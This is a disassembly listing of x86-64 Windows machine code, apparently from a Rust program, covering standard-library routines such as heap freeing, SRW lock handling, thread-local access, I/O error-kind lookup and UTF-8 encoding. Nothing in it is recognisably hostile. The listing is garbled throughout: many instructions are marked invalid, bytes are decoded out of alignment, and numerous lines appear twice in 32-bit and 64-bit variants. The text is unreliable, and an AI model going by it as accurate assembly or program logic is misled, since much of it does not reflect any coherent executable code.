add byte [rax - 0x39], cl
test dword [rax], edi
invalid
cmp byte [rdx], al
add byte [rax], al
invalid
add al, byte [rax]
add dh, bh
invalid
invalid
mov edi, edx
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rdi], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test dword [rdx + rax], ebx
sbb al, 2
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rdx + rax], ebp
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rdx + rax], esp
and al, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
add al, byte [rax]
add byte [rcx], al
mov dword [rbp + 0x208], 1
or byte [rdx], al
add byte [rax], al
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x38], al
add byte [rax], al
add cl, byte [rcx + 0x21885]
add byte [rax], al
add byte [rbp + rcx*4 - 0x7b], cl
or byte [rdx], al
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rdx
mov rdx, r14
mov edx, esi
add byte [rax], al
mov edx, esi
bnd call fcn.140081f70
mov edi, edx
ror byte [rdi], 0x84
and al, byte [rcx]
add byte [rax], al
clc
loopne 0x140084f3f
add cl, byte [rdi]
invalid
add byte [rax], al
add cl, byte [rdi]
test ebp, edi
add byte [rax], al
add byte [rax - 0x3f], cl
invalid
invalid
shr edx, 0x20
cli
add eax, 0xfa830974
and byte [rdi], cl
test edx, ebp
add byte [rax], al
add byte [rax - 0x77], cl
mov ebp, 0x230
add byte [rax - 0x73], cl
movabs al, byte [0xa8e8f0894dfa894c]
movabs al, byte [0xa8e8f0894dfa894c]
mov eax, esi
invalid
outsb dx, byte [rsi]
invalid
mov eax, dword [rbp - 0x60]
mov esp, dword [rbp - 0x58]
test eax, eax
test dword [rax], 0x8b480000
add byte [rax], al
add byte [rax - 0x75], cl
mov r8b, 0x48
mov dword [rbp - 0x60], eax
movabs al, byte [0xb04d8948a865894c]
lea ecx, [rbp + 0x1f0]
lock add dword [rax], eax
add dword [rax], eax
add byte [rax - 0x73], cl
push rbp
lea edx, [rbp - 0x60]
movabs al, byte [0xffffd7a4e801b041]
mov al, 1
xlatb
invalid
mov esi, dword [rbp + 0x1f0]
add byte [rax], al
movsd dword [rdi], dword [rsi]
clc
add dword [rax], eax
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
je 0x140085080
invalid
lea edi, [rbp - 0x60]
add byte [rax], al
add al, byte [rax]
int1
mov dl, 2
add byte [rax - 0x7d], cl
clc
dec dword [rdi]
invalid
test byte [rdi + 0x48000000], dh
mov ecx, eax
add byte [rbx - 0x3e765fbb], cl
rol ecx, 0xe9
or al, byte [rbx + 0x37401e1]
jmp 0x141e9d30b
invalid
invalid
adc byte [rbp - 0x4c], cl
mov r12b, 0x8b
push rbp
mov esp, 0x7374db85
je case.0x1400837b8.125
or edx, eax
ret 0xc748
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
sbb byte [rax], r8b
add byte [rax], al
add byte [rax], al
movups xmmword [rsi + 0x20], xmm0
add byte [rax], al
add byte [rax], al
adc ecx, dword [rsi + 0x30]
push rsi
cmp byte [rcx + 0x4e894046], cl
mov dword [rsi + 0x40], eax
mov dword [rsi + 0x44], ecx
xor esi, esi
invalid
imul bl
mov qword [rsi + 8], rdi
mov qword [rsi + 8], rdi
add byte [rax], al
mov edx, edi
cli
cmp al, 0xd1
invalid
sar edi, 1
dec dword [rax - 0x77]
mov ecx, edi
mov ecx, edi
adc eax, 0x2b353
push rbx
mov bl, 2
add byte [rax - 0x3f3b7eb8], dl
add al, byte [rax]
invalid
rol byte [rdx], 0
add byte [rbx + 0x5f], bl
pop rsp
pop rdi
mov dword [rsi + 8], esp
mov dword [rsi], 2
invalid
add byte [rax], al
add bl, ch
add byte [rax], al
test eax, 0x400
add byte [rsi + rax*4 + 0x41], dh
mov ecx, ecx
and ecx, 0x20000000
loope 0x14008509b
add byte [rax], al
and byte [rdi], cl
test byte [rsi - 1], dh
jbe case.0x1400837b8.130
invalid
jbe case.0x1400837b8.130
invalid
mov dword [rsi + 8], edi
mov dword [rsi], 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x4a], al
add byte [rax], al
add dword [rbp - 0x7b], ecx
in al, 0x74
adc cl, byte [rax - 0x75]
or eax, 0x7413a
add byte [rcx], dh
ror byte [rbp - 0x77], cl
mov r8, r14
mov eax, esi
adc eax, 0x2b33f
invalid
add al, byte [rax]
lahf
lea esi, [rax]
add al, byte [rax]
xor byte [rdx], al
add byte [rax], al
invalid
add al, ch
invalid
invalid
nop dword [rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
invalid
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push r15
push r14
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x73], cl
invalid
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea esi, [rax]
invalid
lea rcx, [rbp + 0x230]
xor byte [rdx], al
add al, byte [rax]
add byte [rax], al
add al, ch
cli
invalid
call fcn.140079f00
invalid
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop r15
pop rdi
pop rbp
ret
int3
int3
int3
int3
sub rsp, 0x40
sub esp, 0x40
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 0x18], rdx
mov dword [rbp - 0x18], edx
call 0xcb50643d
call qword [rdx]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14880d48c
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
add byte [rbp + rcx + 0x48], dh
cmp dword [rax + 0x10], 0x11
js 0x14008515b
invalid
je 0x140085154
cmp qword [rax + 0x10], 0x11
js 0x14008515b
adc dword [rbx + 0xc], esi
jae case.0x1400837b8.159
or al, 0x4c
mov eax, dword [rbp - 0x10]
invalid
mov r8, qword [rbp - 0x10]
invalid
jmp 0x140085162
invalid
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
pop qword [rax + 7]
add byte [rcx], dh
invalid
invalid
xor edx, edx
add rsp, 0x40
invalid
pop rbp
ror byte [rax - 0x7d], cl
invalid
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x40
invalid
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14880d4de
cmp qword [rax + 8], 0
js 0x14008519e
or byte [rax], al
add byte [rdx + rbp + 0x48], dh
mov eax, dword [rbp - 0x18]
invalid
invalid
je 0x1400851c3
sub cl, byte [rax - 0x75]
mov rax, qword [rbp - 0x18]
call 0x15080d4e9
cmp qword [rax + 0x10], 0x11
js 0x1400851b1
adc dword [rdx + 0xc], esi
jb case.0x140083b4a.121
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov eax, dword [rax - 8]
invalid
mov eax, dword [rax - 8]
clc
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x74041
invalid
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2b245
invalid
adc eax, 0x2b245
mov dl, 2
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
and byte [rbp - 0x3d], bl
int3
pop rbp
ret
int3
int3
sub rsp, 0x28
sub byte [rax - 0x75], cl
or dword [rcx + 0x3e083c8], ecx
and eax, 3
loopne 0x1400851df
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov eax, ecx
and eax, 3
loopne 0x1400851df
loopne 0x1400851df
lea rdx, [0x1400f0afc]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov edx, dword [rcx + 8]
add rsp, 0x28
invalid
sub bl, al
push rcx
or byte [rax - 0x7d], cl
invalid
mov rax, qword [rcx - 1]
mov rdx, qword [rcx + 7]
push rcx
invalid
mov rcx, rax
call qword [rdx + 0x40]
push rcx
invalid
nop
add rsp, 0x28
sub bl, al
shr rcx, 0x20
shr ecx, 0x20
call fcn.14007ca80
dec dword [rax + 0xf]
mov esi, 0xd8d48c0
ror byte [rax - 0x73], 0xd
movsx rax, al
lea rcx, [0x1400eae50]
or eax, 0x65c30
ror byte [rax - 0x73], 0xd
or eax, 0x65c30
xor byte [rsi + rax], bl
mov rdx, qword [rcx + rax*8]
mov edx, dword [rcx + rax*8]
adc al, 0xc1
lea rcx, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
mov rax, qword [rcx + rax*8]
add al, 0xc1
pop rbp
invalid
add al, 0xc1
add rsp, 0x28
add esp, 0x28
invalid
ret
shr ecx, 0x20
and byte [rbx + 0x147728f9], al
cmp ecx, 0x28
ja case.0x1400851ea.8
stc
sub byte [rdi + 0x14], dh
lea rax, [0x1400f0b0c]
lea eax, [0x1400f0b0c]
enter 0x6b8, 0
mov eax, 0x63480006
or al, 0x88
movsxd rcx, dword [rax + rcx*4]
invalid
add rcx, rax
add ecx, eax
jmp rcx
loope 0x14008527f
xor eax, eax
jmp 0x140085215
shr bl, 0xc4
mov al, 0x29
jmp 0x140085215
invalid
sal byte [rax - 0x4f4314ff], 2
mov al, 1
jmp 0x140085215
mov al, 2
jmp 0x140085215
mov al, 3
jmp 0x140085215
add ebp, ebx
mov ah, 0xb0
mov al, 4
jmp 0x140085215
mov al, 5
jmp 0x140085215
lodsb al, byte [rsi]
mov al, 6
mov al, 4
jmp 0x140085215
mov al, 5
jmp 0x140085215
lodsb al, byte [rsi]
mov al, 6
jmp 0x140085215
movsb byte [rdi], byte [rsi]
mov al, 8
jmp 0x140085215
jmp 0x140085215
cwde
mov al, 0xb
invalid
or ebp, ebx
xchg esp, eax
mov al, 0xc
jmp 0x140085215
jmp 0x140085215
nop
mov al, 0xd
jmp 0x140085215
invalid
invalid
mov byte [rax - 0x4f7b14f1], dh
adc bl, ch
invalid
jmp 0x140085215
xor byte [rax - 0x8616ef], 0xff
push qword [rax - 0x8d16ee]
mov al, 0x12
invalid
jb case.0x140083be3.141
invalid
invalid
invalid
invalid
adc ebp, ecx
imul edi, edi, 0xffffffff
invalid
push qword [rax - 0x9b16ec]
mov al, 0x14
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0xa216eb]
invalid
invalid
invalid
invalid
invalid
invalid
mov al, 0x1a
jmp 0x140085215
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
jmp 0x140085215
out 0xfe, al
invalid
invalid
invalid
jmp 0x140085215
fdivr st(6)
invalid
add dword [rcx + rcx*4 - 0x3f], eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
cli
add dh, byte [rbx + 5]
cli
add dh, byte [rbx + 5]
add rsp, 0x28
ret
test rcx, rcx
je 0x140085359
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x48]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
ret
int3
rol dword [rbx - 0x3fcefc1f], 0x48
lea edx, [rcx - 2]
cmp rdx, 2
cmp edx, 2
jae 0x14008539e
add rsp, 0x28
ret
test rcx, rcx
je 0x140085399
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x30]
nop
add rsp, 0x28
ret
test eax, eax
je 0x140085587
mov r13, r8
mov rbx, rdx
mov rdi, rcx
mov rax, r8
shl rax, 4
xor edx, edx
xor ecx, ecx
nop dword [rax]
cmp dword [rbx + rdx], 0
jne 0x140085402
inc rcx
add rdx, 0x10
cmp rax, rdx
jne 0x1400853f0
cmp r13, rcx
jb 0x1400855a3
int 0xf
invalid
sub r13, rcx
je 0x140085587
in eax, dx
je 0x140085587
cmp dword [rsp + 0x28], 0
je 0x1400854f0
xor eax, eax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1400e8e80]
mov rdx, r13
call fcn.1400a9cf0
ud2
invalid
shr bl, cl
test rcx, rcx
je 0x14008589c
mov rax, qword [rbp - 0x18]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
mov rcx, qword [rbp - 0x18]
call fcn.140067ef0
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
lea r9, [0x1400e7f60]
lea r8, [rbp - 9]
mov edx, 0x46
call fcn.1400aa200
ud2
add byte [rax - 0x39], cl
invalid
add eax, 0xfe2541e8
dec dword [rbx + 0x7390f05]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0xe8]
lea eax, [rax + 0xe8]
lea eax, [rax + 0xe8]
add rsp, 0x20
add esp, 0x20
and byte [rsi - 0x3d], bl
int3
pop rsi
ret
mov ecx, dword [rcx + 8]
cmp qword [rax], 0
mov qword [rax], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add dh, al
adc byte [rdx], al
mov byte [rax + 0x10], 2
je 0x1400859f8
adc byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1400859f8
lock dec qword [rcx]
jne 0x1400859f8
jmp fcn.140067ef0
and al, 0xfe
inc ebx
int3
ret
int3
int3
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rax - 0x77]
mov esi, ecx
mov esi, ecx
invalid
movzx eax, byte [0x1400f9150]
test al, al
je 0x140085afe
add byte [rax + rax*8 + 0xd7840f], al
add byte [rax], al
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
cmp qword [rax + 0xe0], 0
je 0x140085a4d
lea rdi, [rax + 0xe8]
add byte [rax], al
jmp 0x140085a5e
call fcn.140085900
mov rdi, rax
test rax, rax
je 0x140085afe
invalid
mov rbx, qword [rdi]
mov qword [rdi], 0
test rbx, rbx
fisttp dword [rdi]
invalid
lea eax, [rax]
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
fisttp dword [rdi]
test byte [rbp + 0x48000000], cl
lea ecx, [rbx + 0x10]
lea rcx, [rbx + 0x10]
mov qword [rbp - 0x30], rcx
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
imul ebp, dword [rcx - 0x74b7fffe], 0x7380a05
invalid
imul ebp, dword [rcx - 0x74b7fffe], 0x7380a05
add byte [rax - 0x2f], cl
loopne 0x140085ad2
add byte [rax - 0x75], cl
add eax, 0x7380a
or bh, byte [rax]
invalid
invalid
or bh, byte [rax]
invalid
shl rax, 1
test rax, rax
test eax, eax
jne 0x140085c68
add bh, al
in al, dx
mov dword [rbp - 0x14], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x43
sbb byte [rax - 0x77], cl
pop rbp
loopne 0x140085aea
add byte [rax], al
movzx eax, byte [rbx + 0x18]
mov qword [rbp - 0x20], rbx
lea rax, [rbx + 0x20]
lea eax, [rbx + 0x20]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
clc
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e86e0]
lea edx, [0x1400e86e0]
lea rcx, [rbp - 0x10]
mov r8, rsi
call fcn.140042180
mov rcx, qword [rbp - 8]
clc
clc
test al, al
je 0x140085c0f
test rcx, rcx
leave
lea rax, str.formatter_error
cmovne rax, rcx
ror dword [rax - 0x77], 0x45
invalid
lea rcx, [rbp - 0x10]
call fcn.140079f00
cmp byte [rbp - 0x14], 0
mov rsi, qword [rbp - 0x20]
ror dword [rax - 0x77], 0x45
invalid
inc dword [rax + 0x4800ec7d]
mov esi, dword [rbp - 0x20]
jne 0x140085c3e
jmp 0x140085c2f
mov rax, qword [0x1400f92b0]
mov ecx, dword [0x1400f92c4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
lea rcx, [rcx + 0xd9]
cmp rax, rcx
jne 0x140085b48
mov eax, dword [0x1400f92b8]
inc eax
jne 0x140085b7b
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1400e92b8]
mov edx, 0x26
call fcn.1400aa2a0
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x73759
lea rcx, [0x1400f92a8]
pop rcx
invalid
call qword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
add al, 0xc1
lea rax, [rax + 0xd9]
mov qword [0x1400f92b0], rax
mov eax, 1
add byte [rcx + 0x7373705], cl
add byte [rax - 0x73], cl
add eax, 0x73710
mov dword [0x1400f92b8], eax
lea rax, [0x1400f9298]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov qword [rbp - 8], 0
lea rdx, [0x1400e8680]
lea rcx, [rbp - 0x10]
mov r8, rsi
call fcn.140042180
mov rcx, qword [rbp - 8]
test al, al
je 0x140085bf4
test rcx, rcx
lea rsi, str.formatter_error
cmovne rsi, rcx
mov rcx, qword [rbp - 0x28]
dec dword [rcx + 0x20]
jne 0x140085be0
mov qword [rcx + 0x18], 0
add rcx, 0x10
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov qword [rbp - 0x10], rsi
test rsi, rsi
test esi, esi
je 0x140085c5e
lea rcx, [rbp - 0x10]
call fcn.140079f00
jmp 0x140085c5e
invalid
test rcx, rcx
je 0x140085c02
lea rcx, [rbp - 8]
call fcn.140079f00
invalid
xor esi, esi
mov rcx, qword [rbp - 0x28]
dec dword [rcx + 0x20]
jne 0x140085be0
fdivr st(7)
and byte [r13 - 0x2d], sil
jmp 0x140085bce
test rcx, rcx
je 0x140085c1d
lea rcx, [rbp - 8]
call fcn.140079f00
invalid
mov qword [rbp - 0x10], 0
cmp byte [rbp - 0x14], 0
mov rsi, qword [rbp - 0x20]
jne 0x140085c3e
mov rax, qword [0x1400f9290]
add eax, 0x7365a
shl rax, 1
test rax, rax
jne 0x140085c77
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [rdi]
mov qword [rdi], rsi
test rcx, rcx
je 0x140085c5e
lock dec qword [rcx]
jne 0x140085c5e
call fcn.140067ef0
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.1400ae3b0
xor al, 1
mov dword [rbp - 0x14], eax
jmp 0x140085a99
call fcn.1400ae3b0
test al, al
jne 0x140085c3e
mov byte [rsi + 0x18], 1
jmp 0x140085c3e
sub rsp, 0x28
lea rbp, [rdx + 0x50]
push 0x50
push 0x50
cmp qword [rbp - 8], 0
je 0x140085cb1
lea rcx, [rbp - 8]
call fcn.140079f00
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea ebp, [rdx + 0x50]
cmp byte [rbp - 0x14], 0
jne 0x140085ce6
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x140085d0d
invalid
invalid
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rax, qword [rbp - 0x20]
lock dec qword [rax]
jne 0x140085d03
mov rcx, qword [rbp - 0x20]
call fcn.140067ef0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
call fcn.1400ae3b0
test al, al
jne 0x140085ce6
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
nop
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
invalid
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov esi, eax
mov esi, eax
invalid
mov rbx, rdx
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
adc byte [rcx + rbp - 0x10], cl
cmp rax, r8
cmp eax, eax
sal byte [rdx + 0x24], 0x48
mov ecx, dword [rdi]
jb 0x140085dd6
mov rcx, qword [rdi]
add rcx, r14
add ecx, esi
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
mov qword [rdi + 0x10], r14
test byte [rcx + rcx*4 + 0x77], 0x10
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
mov rcx, rdi
mov rdx, r14
mov r8, rsi
invalid
call fcn.1400aae70
push rax
add al, byte [rax]
mov r14, qword [rdi + 0x10]
ja 0x140085df8
adc bl, ch
enter 0xffffffffffffcccc, 0xffffffffffffffcc
int3
jmp 0x140085db2
and al, 0x2c
sub al, 0
add byte [rax], al
add byte [rcx + 0x80fa], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp edx, 0x80
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xe], dh
jae case.0x140083b4a.132
mov byte [rsp + 0x2c], dl
mov esi, 1
jmp 0x140085e9c
xchg dword [rax], eax
add byte [rax], al
mov eax, edx
rol byte [rcx + 0x800fa], 1
add byte [rbx + 0x1a], dh
cmp edx, 0x800
add byte [rax], al
jae 0x140085e39
sbb al, cl
call 0xc8c86a2b
and al, 0x2c
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
and dl, 0x3f
or dl, 0x80
invalid
mov byte [rsp + 0x2d], dl
push rsp
and al, 0x2d
or byte [rax - 0x41d2dbac], 2
add byte [rax], al
push rsp
and al, 0x2d
mov esi, 2
jmp 0x140085e9c
add bl, ch
invalid
cmp edx, 0xffff
ja 0x140085e68
shr eax, 0xc
or al, 0xe0
loopne 0x140085dcf
and al, 0x2c
sub al, 0x89
rol cl, 1
call 0x14c478258
or byte [rax - 0x7fd2dbbc], 0xe2
invalid
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov esi, 3
jmp 0x140085e9c
add byte [rax], al
add bl, ch
jmp 0x140085e9c
shr eax, 0x12
and al, 7
or al, 0xf0
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 0xc
or al, 0x24
invalid
or al, 0x80
mov byte [rsp + 0x2d], al
and al, 0x2d
or al, 0x24
invalid
and al, 0x2d
sub eax, 0xe8c1d089
invalid
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2e], al
and dl, 0x3f
or dl, 0x80
invalid
invalid
or byte [rax - 0x41d0dbac], 4
add byte [rax], al
add byte [rax - 0x75], cl
cmp dword [rax - 0x75], ecx
or byte [r8 - 0x75], r9b
pop rdi
adc byte [rax + 0x29], cl
mov byte [rsp + 0x2f], dl
mov esi, 4
add byte [rax], al
mov rdi, qword [rcx]
mov rax, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
fmul dword [rax + 0x39]
invalid
jb 0x140085ed3
fmul dword [rax + 0x39]
invalid
and al, 0x48
mov ecx, dword [rdi]
mov rcx, qword [rdi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
and al, 0x2c
and al, 0x2c
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.1400aae70
mov rbx, qword [rdi + 0x10]
jmp 0x140085eaf
mov r8, rdx
lea rdx, [0x1400e86e0]
jmp fcn.140042180
int3
insb byte [rdi], dx
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], rdx
mov qword [rbp - 0x18], rcx
lock inc qword [0x1400f9290]
jle 0x140085f73
invalid
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
invalid
mov rax, qword [rcx + rax*8]
test byte [rax + 0xc8], 1
jne 0x140085f73
invalid
enter 0, 0
add dword [rbp + 0x21], esi
invalid
and dword [rbx + 0x7336c05], ecx
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
inc qword [rax + 0xc0]
inc dword [rax + 0xc0]
mov byte [rax + 0xc8], 0
or al, 0
add byte [rax], al
add al, ch
pop rax
add byte [rax], al
add byte [rdi], cl
or esp, dword [rsi + 0xf]
invalid
invalid
call fcn.140085fd0
ud2
nop word [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rsi, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
invalid
mov esi, dword [rbp - 0x18]
mov rcx, rsi
mov rdi, qword [rbp - 0x10]
call qword [rdi]
cmp qword [rdi + 8], 0
or byte [rax], al
or byte [rax], al
je 0x140085fc1
cmp qword [rdi + 0x10], 0x11
jb 0x140085faf
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov ecx, 7
int 0x29
ud2
push rsp
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [0x1400f0bc0]
add eax, 0x6abab
add eax, 0x6abab
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
mov r8, rdi
jmp r9
add rcx, 4
jmp 0x14008605f
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
add ecx, 8
jmp 0x14008605f
mov ecx, 6
jmp 0x14008605f
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14008605f
rol dword [rdx], 0xeb
add eax, 0x2b9
add byte [rax - 0x77], cl
sub rdx, rcx
invalid
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
invalid
retf 0x820f
jb 0x1400860f4
add rcx, rdi
add ecx, edi
mov r8, rcx
test rdx, rdx
test edx, edx
je case.0x14007d912.422
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
invalid
cmp al, 0x5c
pop rsp
sar dword [rsp + rbx*2], 0xf
xchg esp, eax
ror byte [rax], 0xc8
sete al
or al, cl
jmp 0x14008608a
xor eax, eax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
adc byte [rsp + 0x30], cl
and al, 0x30
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
adc dword [rsp + 0x78], ecx
adc dword [rsp + 0x78], ecx
